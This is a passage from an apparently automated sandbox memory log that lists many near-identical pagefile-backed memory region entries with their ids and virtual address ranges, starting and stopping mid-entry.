1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4485 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4486 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4487 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4488 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4489 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4490 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4491 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4492 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4493 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4494 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4495 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4496 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4497 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4498 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4499 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4500 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4501 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4502 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4503 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4504 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4505 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4506 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4507 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4508 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4509 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4510 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4511 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4512 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4513 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4514 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4515 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4516 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4517 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4518 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4519 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4520 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4521 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4522 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4523 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4524 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4525 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4526 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4527 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4528 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4529 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4530 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4531 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4532 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4533 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4534 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4535 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4536 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4537 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4538 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4539 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4540 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4541 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4542 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4543 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4544 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4545 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4546 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4547 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4548 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4549 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4550 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4551 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4552 start_va = 0x2a80000 end_va = 0x2e8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a80000" filename = "" Region: id = 4553 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4554 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4555 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4556 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4557 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4558 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4559 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4560 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4561 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4562 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4563 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4564 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4565 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4566 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4567 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4568 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4569 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4570 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4571 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4572 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4573 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4574 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4575 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4576 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4577 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4578 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4579 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4580 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4581 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4582 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4583 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4584 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4585 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4586 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4587 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4588 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4589 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4590 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4591 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4592 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4593 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4594 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4595 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4596 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4597 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4598 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4599 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4600 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4601 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4602 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4603 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4604 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4605 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4606 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4607 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4608 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4609 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4610 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4611 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4612 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4613 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4614 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4615 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4616 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4617 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4618 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4619 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4620 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4621 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4622 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4623 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4624 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4625 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4626 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4627 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4628 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4629 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4630 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4631 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4632 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4633 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4634 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4635 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4636 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4637 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4638 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4639 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4640 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4641 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4642 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4643 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4644 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4645 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4646 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4647 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4648 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4649 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4650 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4651 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4652 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4653 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4654 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4655 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4656 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4657 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4658 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4659 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4660 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4661 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4662 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4663 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4664 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4665 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4666 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4667 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4668 start_va = 0x380000 end_va = 0x39efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4669 start_va = 